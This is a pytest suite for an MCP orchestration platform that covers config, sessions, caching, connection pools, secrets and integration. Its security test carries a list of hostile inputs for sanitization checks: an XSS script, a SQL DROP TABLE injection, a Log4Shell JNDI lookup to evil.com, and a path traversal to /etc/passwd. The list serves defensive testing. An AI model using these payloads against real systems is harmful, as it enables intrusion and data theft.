"""
Comprehensive Testing Suite for MCP Orchestration Platform
Enterprise-grade testing with high coverage and real-world scenarios
"""

import asyncio
import pytest
import tempfile
import json
import os
from unittest.mock import Mock, AsyncMock, patch, MagicMock
from typing import Dict, Any, List
import time
import uuid
import hashlib

# Import components to test
from mcp_orchestrator import (
    MCPOrchestrator, ConfigManager, SessionManager, MultiLayerCache,
    ConnectionPool, ToolManager, ServerConfig, SessionInfo,
    CircuitBreakerState, ServerState
)
from secrets_manager import (
    SecretsManager, LocalSecretsStore, EnvironmentSecretsStore
)
from gradio_interface import MCPUI

# =============================================================================
# Test Configuration and Fixtures
# =============================================================================

@pytest.fixture
def event_loop():
    """Create an instance of the default event loop for the test session."""
    loop = asyncio.get_event_loop_policy().new_event_loop()
    yield loop
    loop.close()


@pytest.fixture
def temp_dir():
    """Create a temporary directory for tests."""
    with tempfile.TemporaryDirectory() as tmp_dir:
        yield tmp_dir


@pytest.fixture
def sample_server_config():
    """Create a sample server configuration."""
    return ServerConfig(
        id="test_server",
        name="Test MCP Server",
        url="http://localhost:8000",
        auth_token="test_token",
        timeout=30,
        max_retries=3,
        max_connections=5
    )


@pytest.fixture
def mock_aiohttp_session():
    """Create a mock aiohttp session."""
    session = Mock()
    session.get = AsyncMock()
    session.post = AsyncMock()
    session.close = AsyncMock()
    return session


@pytest.fixture
def orchestrator():
    """Create a test orchestrator instance."""
    config = {
        'servers': {
            'test_server': {
                'name': 'Test Server',
                'url': 'http://localhost:8000',
                'auth_token': 'test_token'
            }
        },
        'session_ttl': 3600,
        'cache_ttl': 300,
        'max_workers': 5
    }
    
    with patch.object(ConfigManager, 'load_config', return_value=config):
        orchestrator = MCPOrchestrator()
        return orchestrator


# =============================================================================
# Configuration Management Tests
# =============================================================================

class TestConfigManager:
    """Test configuration management functionality."""

    def test_load_from_env(self, temp_dir):
        """Test loading configuration from environment variables."""
        os.environ['MCP_SERVER_TEST_SERVER_NAME'] = 'Test Server'
        os.environ['MCP_SERVER_TEST_SERVER_URL'] = 'http://localhost:8000'
        os.environ['MCP_HOST'] = '0.0.0.0'
        os.environ['MCP_PORT'] = '7860'
        os.environ['MCP_DEBUG'] = 'true'
        
        config_manager = ConfigManager()
        config = config_manager.load_from_env()
        
        assert 'servers' in config
        assert 'test_server' in config['servers']
        assert config['servers']['test_server']['name'] == 'Test Server'
        assert config['host'] == '0.0.0.0'
        assert config['port'] == 7860
        assert config['debug'] is True

    def test_load_from_json_file(self, temp_dir):
        """Test loading configuration from JSON file."""
        config_data = {
            'app_name': 'Test App',
            'host': 'localhost',
            'port': 8080,
            'servers': {
                'test_server': {
                    'name': 'Test Server',
                    'url': 'http://localhost:8000'
                }
            }
        }
        
        config_file = os.path.join(temp_dir, 'config.json')
        with open(config_file, 'w') as f:
            json.dump(config_data, f)
        
        config_manager = ConfigManager()
        config = config_manager.load_from_file(config_file)
        
        assert config['app_name'] == 'Test App'
        assert config['servers']['test_server']['name'] == 'Test Server'

    def test_merge_configs(self):
        """Test merging multiple configuration dictionaries."""
        config1 = {'a': 1, 'b': {'x': 1}}
        config2 = {'b': {'y': 2}, 'c': 3}
        config3 = {'d': 4}
        
        config_manager = ConfigManager()
        merged = config_manager.merge_configs(config1, config2, config3)
        
        assert merged['a'] == 1
        assert merged['b']['x'] == 1
        assert merged['b']['y'] == 2
        assert merged['c'] == 3
        assert merged['d'] == 4

    def test_get_nested_config(self):
        """Test getting nested configuration values."""
        config_manager = ConfigManager()
        config_manager.config = {
            'servers': {
                'test': {
                    'url': 'http://localhost:8000',
                    'timeout': 30
                }
            }
        }
        
        assert config_manager.get('servers.test.url') == 'http://localhost:8000'
        assert config_manager.get('servers.test.timeout') == 30
        assert config_manager.get('servers.test.nonexistent', 'default') == 'default'
        assert config_manager.get('nonexistent.key', 'default') == 'default'


# =============================================================================
# Session Management Tests
# =============================================================================

class TestSessionManager:
    """Test session management functionality."""

    @pytest.mark.asyncio
    async def test_create_session(self, orchestrator):
        """Test session creation."""
        session = await orchestrator.session_manager.create_session(
            user_id="test_user",
            ip_address="127.0.0.1",
            user_agent="Test Agent"
        )
        
        assert session.session_id is not None
        assert session.user_id == "test_user"
        assert session.ip_address == "127.0.0.1"
        assert session.user_agent == "Test Agent"
        assert session.total_requests == 0
        assert session.success_rate == 0.0

    @pytest.mark.asyncio
    async def test_get_session(self, orchestrator):
        """Test session retrieval."""
        # Create a session
        created_session = await orchestrator.session_manager.create_session()
        
        # Retrieve the session
        retrieved_session = await orchestrator.session_manager.get_session(
            created_session.session_id
        )
        
        assert retrieved_session.session_id == created_session.session_id
        assert retrieved_session.user_id == created_session.user_id

    @pytest.mark.asyncio
    async def test_session_expiry(self, orchestrator):
        """Test session expiration."""
        # Create a session with short TTL
        session = await orchestrator.session_manager.create_session()
        session.ttl_seconds = 1  # 1 second TTL
        
        # Session should exist initially
        retrieved = await orchestrator.session_manager.get_session(session.session_id)
        assert retrieved is not None
        
        # Wait for expiry
        await asyncio.sleep(2)
        
        # Session should be expired
        retrieved = await orchestrator.session_manager.get_session(session.session_id)
        assert retrieved is None

    @pytest.mark.asyncio
    async def test_rate_limiting(self, orchestrator):
        """Test session rate limiting."""
        session = await orchestrator.session_manager.create_session()
        
        # Should allow requests within limit
        allowed, wait_time = await orchestrator.session_manager.check_rate_limit(
            session.session_id
        )
        assert allowed is True
        assert wait_time == 0.0
        
        # Simulate reaching rate limit
        limiter = orchestrator.session_manager.rate_limiters[session.session_id]
        limiter['requests'] = limiter['max_requests'] + 1
        
        # Should be rate limited
        allowed, wait_time = await orchestrator.session_manager.check_rate_limit(
            session.session_id
        )
        assert allowed is False
        assert wait_time > 0

    @pytest.mark.asyncio
    async def test_session_stats(self, orchestrator):
        """Test session statistics."""
        # Create multiple sessions
        sessions = []
        for i in range(3):
            session = await orchestrator.session_manager.create_session()
            sessions.append(session)
        
        stats = await orchestrator.session_manager.get_session_stats()
        
        assert stats['total_sessions'] == 3
        assert stats['active_connections'] == 0
        assert 'avg_session_age' in stats
        assert 'rate_limited_sessions' in stats


# =============================================================================
# Cache System Tests
# =============================================================================

class TestMultiLayerCache:
    """Test multi-layer caching functionality."""

    @pytest.mark.asyncio
    async def test_cache_set_and_get(self):
        """Test setting and getting cache entries."""
        cache = MultiLayerCache(max_size=10)
        
        # Set a value
        etag = await cache.set('test_key', {'data': 'test_value'}, ttl=300)
        assert etag is not None
        
        # Get the value
        value, found, returned_etag = await cache.get('test_key')
        
        assert found is True
        assert value == {'data': 'test_value'}
        assert returned_etag == etag

    @pytest.mark.asyncio
    async def test_cache_expiry(self):
        """Test cache entry expiration."""
        cache = MultiLayerCache(default_ttl=1)  # 1 second TTL
        
        # Set a value with short TTL
        await cache.set('test_key', 'test_value', ttl=1)
        
        # Should be available immediately
        value, found, _ = await cache.get('test_key')
        assert found is True
        
        # Wait for expiry
        await asyncio.sleep(2)
        
        # Should be expired
        value, found, _ = await cache.get('test_key')
        assert found is False

    @pytest.mark.asyncio
    async def test_cache_etag_support(self):
        """Test ETag support for cache validation."""
        cache = MultiLayerCache()
        
        # Set initial value
        etag = await cache.set('test_key', {'data': 'test_value'})
        
        # Request with matching ETag (should return not modified)
        value, not_modified, returned_etag = await cache.get('test_key', etag=etag)
        assert not_modified is True
        assert returned_etag == etag
        
        # Request with different ETag (should return value)
        value, not_modified, returned_etag = await cache.get('test_key', etag='different_etag')
        assert not_modified is False
        assert value == {'data': 'test_value'}

    @pytest.mark.asyncio
    async def test_cache_lru_eviction(self):
        """Test LRU cache eviction."""
        cache = MultiLayerCache(max_size=2)
        
        # Fill cache to capacity
        await cache.set('key1', 'value1')
        await cache.set('key2', 'value2')
        
        # Add third item (should evict least recently used)
        await cache.set('key3', 'value3')
        
        # First item should be evicted
        value, found, _ = await cache.get('key1')
        assert found is False
        
        # Other items should still be available
        value, found, _ = await cache.get('key2')
        assert found is True
        value, found, _ = await cache.get('key3')
        assert found is True

    @pytest.mark.asyncio
    async def test_cache_invalidation(self):
        """Test cache invalidation."""
        cache = MultiLayerCache()
        
        # Set multiple values
        await cache.set('prefix_key1', 'value1')
        await cache.set('prefix_key2', 'value2')
        await cache.set('other_key', 'value3')
        
        # Invalidate by pattern
        await cache.invalidate_pattern('prefix_')
        
        # Pattern-matched keys should be invalid
        value, found, _ = await cache.get('prefix_key1')
        assert found is False
        value, found, _ = await cache.get('prefix_key2')
        assert found is False
        
        # Non-matching key should remain
        value, found, _ = await cache.get('other_key')
        assert found is True

    def test_cache_statistics(self):
        """Test cache statistics."""
        cache = MultiLayerCache()
        
        # Simulate cache operations
        cache.hits = 80
        cache.misses = 20
        
        stats = cache.get_stats()
        
        assert stats['size'] == 0  # No entries set
        assert stats['hits'] == 80
        assert stats['misses'] == 20
        assert stats['hit_rate'] == 0.8  # 80 / (80 + 20)


# =============================================================================
# Connection Pool Tests
# =============================================================================

class TestConnectionPool:
    """Test connection pool functionality."""

    @pytest.mark.asyncio
    async def test_pool_initialization(self, sample_server_config):
        """Test connection pool initialization."""
        from mcp_orchestrator import MCPOrcMetrics
        metrics = MCPOrcMetrics()
        
        pool = ConnectionPool(sample_server_config, metrics)
        await pool.initialize()
        
        assert len(pool.pool) > 0
        assert not pool.available.empty()

    @pytest.mark.asyncio
    async def test_get_connection(self, sample_server_config):
        """Test getting connection from pool."""
        from mcp_orchestrator import MCPOrcMetrics
        metrics = MCPOrcMetrics()
        
        pool = ConnectionPool(sample_server_config, metrics)
        await pool.initialize()
        
        # Get a connection
        async with pool.get_connection() as session:
            assert session is not None
            assert session in pool.in_use

    @pytest.mark.asyncio
    async def test_circuit_breaker(self, sample_server_config):
        """Test circuit breaker functionality."""
        from mcp_orchestrator import MCPOrcMetrics
        metrics = MCPOrcMetrics()
        
        # Set low threshold for testing
        sample_server_config.circuit_breaker_threshold = 2
        
        pool = ConnectionPool(sample_server_config, metrics)
        await pool.initialize()
        
        # Simulate failures to trigger circuit breaker
        for _ in range(3):
            try:
                async with pool.get_connection() as session:
                    # Simulate connection failure
                    raise Exception("Simulated failure")
            except Exception:
                pass
        
        # Circuit breaker should be open
        assert pool.circuit_breaker_state == CircuitBreakerState.OPEN

    @pytest.mark.asyncio
    async def test_health_check(self, sample_server_config):
        """Test health check functionality."""
        from mcp_orchestrator import MCPOrcMetrics
        metrics = MCPOrcMetrics()
        
        pool = ConnectionPool(sample_server_config, metrics)
        await pool.initialize()
        
        # Mock health check response
        with patch('aiohttp.ClientSession.get') as mock_get:
            mock_response = Mock()
            mock_response.status = 200
            mock_get.return_value.__aenter__ = AsyncMock(return_value=mock_response)
            
            is_healthy = await pool._perform_health_check()
            assert is_healthy is True


# =============================================================================
# Tool Management Tests
# =============================================================================

class TestToolManager:
    """Test tool management functionality."""

    @pytest.mark.asyncio
    async def test_tool_schema_validation(self, orchestrator):
        """Test tool parameter validation."""
        # Create a sample tool schema
        tool_schema = {
            "name": "test_tool",
            "description": "Test tool",
            "input_schema": {
                "type": "object",
                "properties": {
                    "param1": {"type": "string", "description": "First parameter"},
                    "param2": {"type": "number", "description": "Second parameter"}
                },
                "required": ["param1"]
            }
        }
        
        # Valid parameters
        valid_params = {"param1": "test", "param2": 123}
        orchestrator.tool_manager._validate_parameters(valid_params, tool_schema)
        
        # Missing required parameter
        invalid_params = {"param2": 123}
        with pytest.raises(ValueError):
            orchestrator.tool_manager._validate_parameters(invalid_params, tool_schema)
        
        # Wrong parameter type
        invalid_params = {"param1": "test", "param2": "not_a_number"}
        with pytest.raises(ValueError):
            orchestrator.tool_manager._validate_parameters(invalid_params, tool_schema)

    @pytest.mark.asyncio
    async def test_tool_search(self, orchestrator):
        """Test tool search functionality."""
        # Add mock tools
        orchestrator.tools = {
            "server1": {
                "weather_tool": Mock(
                    description="Get weather information",
                    tags=["weather", "api"]
                ),
                "calculator_tool": Mock(
                    description="Perform calculations",
                    tags=["math", "calculator"]
                )
            }
        }
        
        # Search for weather tools
        results = await orchestrator.tool_manager.search_tools("weather")
        assert len(results) > 0
        assert any("weather" in result["tool_name"] for result in results)
        
        # Search by tag
        results = await orchestrator.tool_manager.search_tools("", tags=["weather"])
        assert len(results) > 0

    @pytest.mark.asyncio
    async def test_relevance_scoring(self, orchestrator):
        """Test relevance scoring for search results."""
        from mcp_orchestrator import ToolSchema
        
        # Create test schema
        schema = ToolSchema(
            name="weather_forecast",
            description="Get weather forecast for locations",
            tags=["weather", "forecast", "climate"]
        )
        
        # Test different queries
        score_exact = orchestrator.tool_manager._calculate_relevance("weather_forecast", schema)
        score_partial = orchestrator.tool_manager._calculate_relevance("weather", schema)
        score_tag = orchestrator.tool_manager._calculate_relevance("climate", schema)
        
        assert score_exact > score_partial > score_tag
        assert score_exact == 1.0  # Exact match

    def test_tool_statistics(self, orchestrator):
        """Test tool manager statistics."""
        # Add mock data
        orchestrator.tools = {
            "server1": {"tool1": Mock(), "tool2": Mock()},
            "server2": {"tool3": Mock(), "tool4": Mock(), "tool5": Mock()}
        }
        
        stats = orchestrator.tool_manager.get_stats()
        
        assert stats["total_servers"] == 2
        assert stats["total_tools"] == 5
        assert stats["tools_per_server"] == 2.5


# =============================================================================
# Secrets Management Tests
# =============================================================================

class TestSecretsManager:
    """Test secrets management functionality."""

    @pytest.mark.asyncio
    async def test_local_secrets_store(self, temp_dir):
        """Test local secrets storage."""
        from cryptography.fernet import Fernet
        
        # Generate encryption key
        key = Fernet.generate_key()
        store = LocalSecretsStore(key, temp_dir)
        
        # Store a secret
        success = await store.set_secret('test_key', 'test_value', ttl=3600)
        assert success is True
        
        # Retrieve the secret
        value = await store.get_secret('test_key')
        assert value == 'test_value'
        
        # List secrets
        secrets = await store.list_secrets()
        assert 'test_key' in secrets
        
        # Delete secret
        success = await store.delete_secret('test_key')
        assert success is True
        
        # Verify deletion
        value = await store.get_secret('test_key')
        assert value is None

    @pytest.mark.asyncio
    async def test_secrets_expiry(self, temp_dir):
        """Test secret expiration."""
        from cryptography.fernet import Fernet
        
        key = Fernet.generate_key()
        store = LocalSecretsStore(key, temp_dir)
        
        # Store secret with short TTL
        await store.set_secret('test_key', 'test_value', ttl=1)
        
        # Should be available immediately
        value = await store.get_secret('test_key')
        assert value == 'test_value'
        
        # Wait for expiry
        await asyncio.sleep(2)
        
        # Should be expired
        value = await store.get_secret('test_key')
        assert value is None

    @pytest.mark.asyncio
    async def test_environment_secrets_store(self):
        """Test environment variable secrets store."""
        store = EnvironmentSecretsStore()
        
        # Set environment variable
        os.environ['MCP_SECRET_TEST_KEY'] = 'test_value'
        
        # Retrieve secret
        value = await store.get_secret('test_key')
        assert value == 'test_value'
        
        # List secrets
        secrets = await store.list_secrets()
        assert 'test_key' in secrets
        
        # Delete secret
        success = await store.delete_secret('test_key')
        assert success is True

    @pytest.mark.asyncio
    async def test_secrets_manager_orchestrator(self):
        """Test secrets manager orchestrator."""
        config = {
            'primary_backend': 'env',
            'env_enabled': True
        }
        
        manager = SecretsManager(config)
        
        # Test environment backend
        os.environ['MCP_SECRET_TEST_KEY'] = 'test_value'
        
        # Get secret
        value = await manager.get_secret('test_key')
        assert value == 'test_value'
        
        # List secrets
        secrets = await manager.list_secrets()
        assert 'test_key' in secrets

    @pytest.mark.asyncio
    async def test_secrets_rotation(self):
        """Test secret rotation functionality."""
        config = {
            'primary_backend': 'env',
            'env_enabled': True
        }
        
        manager = SecretsManager(config)
        
        # Set initial secret
        os.environ['MCP_SECRET_OLD_KEY'] = 'old_value'
        
        # Rotate to new key
        success = await manager.rotate_secrets('old_key', 'new_key')
        assert success is True
        
        # Verify old key is gone and new key exists
        assert os.getenv('MCP_SECRET_OLD_KEY') != 'old_value'
        assert os.getenv('MCP_SECRET_NEW_KEY') == 'old_value'

    @pytest.mark.asyncio
    async def test_health_check(self):
        """Test secrets manager health check."""
        config = {
            'primary_backend': 'env',
            'env_enabled': True
        }
        
        manager = SecretsManager(config)
        
        health = await manager.health_check()
        assert 'env' in health
        assert isinstance(health['env'], bool)


# =============================================================================
# Integration Tests
# =============================================================================

class TestOrchestratorIntegration:
    """Test orchestrator integration scenarios."""

    @pytest.mark.asyncio
    async def test_full_workflow(self, orchestrator):
        """Test complete workflow from server registration to tool invocation."""
        # Mock server response
        mock_tools = {
            "test_tool": {
                "name": "test_tool",
                "description": "Test tool",
                "input_schema": {
                    "type": "object",
                    "properties": {
                        "message": {"type": "string"}
                    },
                    "required": ["message"]
                }
            }
        }
        
        # Create session
        session = await orchestrator.session_manager.create_session()
        
        # Mock tool discovery
        with patch.object(
            orchestrator.tool_manager, 
            '_discover_tools', 
            return_value=mock_tools
        ):
            # Register server
            await orchestrator.register_server(
                ServerConfig(
                    id="test_server",
                    name="Test Server",
                    url="http://localhost:8000"
                )
            )
        
        # Verify server is registered
        assert "test_server" in orchestrator.servers
        assert "test_server" in orchestrator.connection_pools
        
        # Mock tool invocation
        with patch.object(
            orchestrator.connection_pools["test_server"],
            'get_connection'
        ) as mock_get_connection:
            mock_session = AsyncMock()
            mock_response = AsyncMock()
            mock_response.json.return_value = {
                "result": {"message": "Tool executed successfully"}
            }
            mock_response.raise_for_status = Mock()
            mock_session.post.return_value.__aenter__ = AsyncMock(return_value=mock_response)
            mock_get_connection.return_value.__aenter__ = AsyncMock(return_value=mock_session)
            
            # Invoke tool
            result = await orchestrator.invoke_tool(
                "test_server",
                "test_tool",
                {"message": "Hello, world!"},
                session.session_id
            )
            
            assert result["status"] == "success"

    @pytest.mark.asyncio
    async def test_error_handling(self, orchestrator):
        """Test error handling in various scenarios."""
        # Test non-existent server
        with pytest.raises(ValueError):
            await orchestrator.invoke_tool(
                "non_existent_server",
                "test_tool",
                {},
                "test_session"
            )
        
        # Test non-existent session
        with pytest.raises(ValueError):
            await orchestrator.invoke_tool(
                "test_server",
                "test_tool",
                {},
                "non_existent_session"
            )

    @pytest.mark.asyncio
    async def test_concurrent_requests(self, orchestrator):
        """Test handling of concurrent requests."""
        # Create multiple sessions
        sessions = []
        for i in range(5):
            session = await orchestrator.session_manager.create_session()
            sessions.append(session)
        
        # Simulate concurrent tool invocations
        tasks = []
        for i, session in enumerate(sessions):
            task = orchestrator.invoke_tool(
                "test_server",
                "test_tool",
                {"request_id": i},
                session.session_id
            )
            tasks.append(task)
        
        # All tasks should complete (with mocked responses)
        with patch.object(
            orchestrator.connection_pools["test_server"],
            'get_connection'
        ) as mock_get_connection:
            mock_session = AsyncMock()
            mock_response = AsyncMock()
            mock_response.json.return_value = {"result": "success"}
            mock_response.raise_for_status = Mock()
            mock_session.post.return_value.__aenter__ = AsyncMock(return_value=mock_response)
            mock_get_connection.return_value.__aenter__ = AsyncMock(return_value=mock_session)
            
            # Mock register_server to avoid actual HTTP calls
            with patch.object(orchestrator, 'register_server'):
                # Register test server first
                await orchestrator.register_server(
                    ServerConfig(
                        id="test_server",
                        name="Test Server",
                        url="http://localhost:8000"
                    )
                )
                
                # Run concurrent requests
                results = await asyncio.gather(*tasks, return_exceptions=True)
                
                # All should complete without exceptions
                for result in results:
                    if isinstance(result, Exception):
                        pytest.fail(f"Unexpected exception: {result}")

    @pytest.mark.asyncio
    async def test_metrics_collection(self, orchestrator):
        """Test metrics collection and reporting."""
        # Create a session and perform some operations
        session = await orchestrator.session_manager.create_session()
        
        # Get metrics
        metrics = await orchestrator.get_metrics()
        
        assert "servers" in metrics
        assert "session_stats" in metrics
        assert "cache_stats" in metrics
        assert "tool_stats" in metrics
        
        # Verify session metrics
        session_stats = metrics["session_stats"]
        assert session_stats["total_sessions"] >= 1

    @pytest.mark.asyncio
    async def test_graceful_shutdown(self, orchestrator):
        """Test graceful shutdown process."""
        # Create some background tasks
        orchestrator.background_tasks.add(asyncio.create_task(asyncio.sleep(1)))
        orchestrator.background_tasks.add(asyncio.create_task(asyncio.sleep(1)))
        
        # Perform shutdown
        await orchestrator.shutdown()
        
        # All background tasks should be cancelled
        for task in orchestrator.background_tasks:
            assert task.cancelled()


# =============================================================================
# Performance Tests
# =============================================================================

class TestPerformance:
    """Test performance characteristics."""

    @pytest.mark.asyncio
    async def test_cache_performance(self):
        """Test cache performance with large datasets."""
        cache = MultiLayerCache(max_size=1000)
        
        # Set many entries
        start_time = time.time()
        for i in range(1000):
            await cache.set(f"key_{i}", f"value_{i}")
        set_time = time.time() - start_time
        
        # Get many entries
        start_time = time.time()
        for i in range(1000):
            await cache.get(f"key_{i}")
        get_time = time.time() - start_time
        
        # Performance should be reasonable (less than 1 second each)
        assert set_time < 1.0
        assert get_time < 1.0

    @pytest.mark.asyncio
    async def test_session_creation_performance(self, orchestrator):
        """Test session creation performance."""
        # Create many sessions
        start_time = time.time()
        sessions = []
        for i in range(100):
            session = await orchestrator.session_manager.create_session()
            sessions.append(session)
        creation_time = time.time() - start_time
        
        # Should create 100 sessions in under 1 second
        assert creation_time < 1.0
        
        # All sessions should be retrievable
        for session in sessions:
            retrieved = await orchestrator.session_manager.get_session(session.session_id)
            assert retrieved is not None

    @pytest.mark.asyncio
    async def test_memory_usage(self, orchestrator):
        """Test memory usage under load."""
        import psutil
        import os
        
        process = psutil.Process(os.getpid())
        initial_memory = process.memory_info().rss
        
        # Create many sessions
        sessions = []
        for i in range(1000):
            session = await orchestrator.session_manager.create_session()
            sessions.append(session)
        
        # Check memory increase
        final_memory = process.memory_info().rss
        memory_increase = final_memory - initial_memory
        
        # Memory increase should be reasonable (less than 100MB)
        assert memory_increase < 100 * 1024 * 1024  # 100MB in bytes


# =============================================================================
# Security Tests
# =============================================================================

class TestSecurity:
    """Test security features."""

    @pytest.mark.asyncio
    async def test_input_sanitization(self, orchestrator):
        """Test input sanitization and validation."""
        # Test malicious input
        malicious_inputs = [
            "<script>alert('xss')</script>",
            "'; DROP TABLE users; --",
            "${jndi:ldap://evil.com/a}",
            "../../../etc/passwd",
            "eval('malicious_code')"
        ]
        
        for malicious_input in malicious_inputs:
            # Should handle gracefully without errors
            session = await orchestrator.session_manager.create_session()
            try:
                # This should not raise exceptions
                await orchestrator.invoke_tool(
                    "test_server",
                    "test_tool",
                    {"param": malicious_input},
                    session.session_id
                )
            except ValueError as e:
                # Expected for invalid inputs
                assert "validation" in str(e).lower() or "invalid" in str(e).lower()
            except Exception:
                # Other exceptions should be handled gracefully
                pass

    @pytest.mark.asyncio
    async def test_rate_limiting_security(self, orchestrator):
        """Test rate limiting prevents abuse."""
        # Create a session
        session = await orchestrator.session_manager.create_session()
        
        # Simulate rapid requests to test rate limiting
        requests_made = 0
        rate_limited = 0
        
        for i in range(150):  # Exceed the default rate limit
            allowed, wait_time = await orchestrator.session_manager.check_rate_limit(
                session.session_id
            )
            
            if allowed:
                requests_made += 1
                # Simulate making the request
                await orchestrator.session_manager.update_session_activity(session.session_id)
            else:
                rate_limited += 1
                assert wait_time > 0
        
        # Should allow some requests but rate limit others
        assert requests_made <= 100  # Default rate limit
        assert rate_limited > 0

    @pytest.mark.asyncio
    async def test_session_isolation(self, orchestrator):
        """Test session isolation and security."""
        # Create multiple sessions
        session1 = await orchestrator.session_manager.create_session(user_id="user1")
        session2 = await orchestrator.session_manager.create_session(user_id="user2")
        
        # Sessions should be isolated
        assert session1.session_id != session2.session_id
        
        # Each session should only access its own data
        # (This is enforced by passing session_id to orchestrator methods)
        
        # Test session expiry isolation
        session1.ttl_seconds = 1
        await asyncio.sleep(2)
        
        # Session1 should be expired
        expired_session = await orchestrator.session_manager.get_session(session1.session_id)
        assert expired_session is None
        
        # Session2 should still be active
        active_session = await orchestrator.session_manager.get_session(session2.session_id)
        assert active_session is not None

    def test_configuration_sensitivity(self):
        """Test that sensitive configuration is handled properly."""
        config_manager = ConfigManager()
        
        # Test that secrets are not logged
        with patch('structlog.get_logger') as mock_logger:
            config_manager.load_from_env()
            
            # Check that no sensitive data was logged
            for call in mock_logger.return_value.info.call_args_list:
                args = call[0]
                if len(args) > 0:
                    # Should not contain sensitive patterns
                    assert 'password' not in str(args).lower()
                    assert 'secret' not in str(args).lower()
                    assert 'token' not in str(args).lower()


# =============================================================================
# Test Runner Configuration
# =============================================================================

def pytest_configure(config):
    """Configure pytest with custom markers."""
    config.addinivalue_line(
        "markers", "slow: marks tests as slow (deselect with '-m \"not slow\"')"
    )
    config.addinivalue_line(
        "markers", "integration: marks tests as integration tests"
    )
    config.addinivalue_line(
        "markers", "performance: marks tests as performance tests"
    )


def pytest_collection_modifyitems(config, items):
    """Automatically mark tests."""
    for item in items:
        # Mark integration tests
        if "test_orchestrator_integration" in item.nodeid:
            item.add_marker(pytest.mark.integration)
        
        # Mark performance tests
        if "test_performance" in item.nodeid:
            item.add_marker(pytest.mark.performance)
        
        # Mark slow tests
        if "slow" in item.keywords or any("slow" in str(mark) for mark in item.iter_markers()):
            item.add_marker(pytest.mark.slow)


# =============================================================================
# Test Data and Utilities
# =============================================================================

def create_test_server_config(server_id: str = "test") -> ServerConfig:
    """Create a test server configuration."""
    return ServerConfig(
        id=server_id,
        name=f"Test {server_id.title()} Server",
        url=f"http://localhost:{8000 + hash(server_id) % 1000}",
        auth_token=f"token_{server_id}",
        timeout=30,
        max_retries=3,
        max_connections=10
    )


def create_test_tool_schema(tool_name: str = "test_tool") -> Dict[str, Any]:
    """Create a test tool schema."""
    return {
        "name": tool_name,
        "description": f"Test tool {tool_name}",
        "input_schema": {
            "type": "object",
            "properties": {
                "message": {
                    "type": "string",
                    "description": "Message to process",
                    "minLength": 1,
                    "maxLength": 1000
                },
                "priority": {
                    "type": "integer",
                    "description": "Priority level",
                    "minimum": 1,
                    "maximum": 10,
                    "default": 5
                }
            },
            "required": ["message"]
        },
        "examples": [
            {"message": "Hello, world!", "priority": 1},
            {"message": "Important task", "priority": 8}
        ],
        "tags": ["test", "utility"],
        "version": "1.0.0"
    }


async def wait_for_condition(condition_func, timeout: float = 5.0, interval: float = 0.1):
    """Wait for a condition to become true."""
    start_time = time.time()
    while time.time() - start_time < timeout:
        if await condition_func() if asyncio.iscoroutinefunction(condition_func) else condition_func():
            return True
        await asyncio.sleep(interval)
    return False


# =============================================================================
# Main Test Execution
# =============================================================================

if __name__ == "__main__":
    # Run tests with coverage
    pytest.main([
        __file__,
        "--cov=mcp_orchestrator",
        "--cov=secrets_manager",
        "--cov=gradio_interface",
        "--cov-report=html",
        "--cov-report=term",
        "-v"
    ])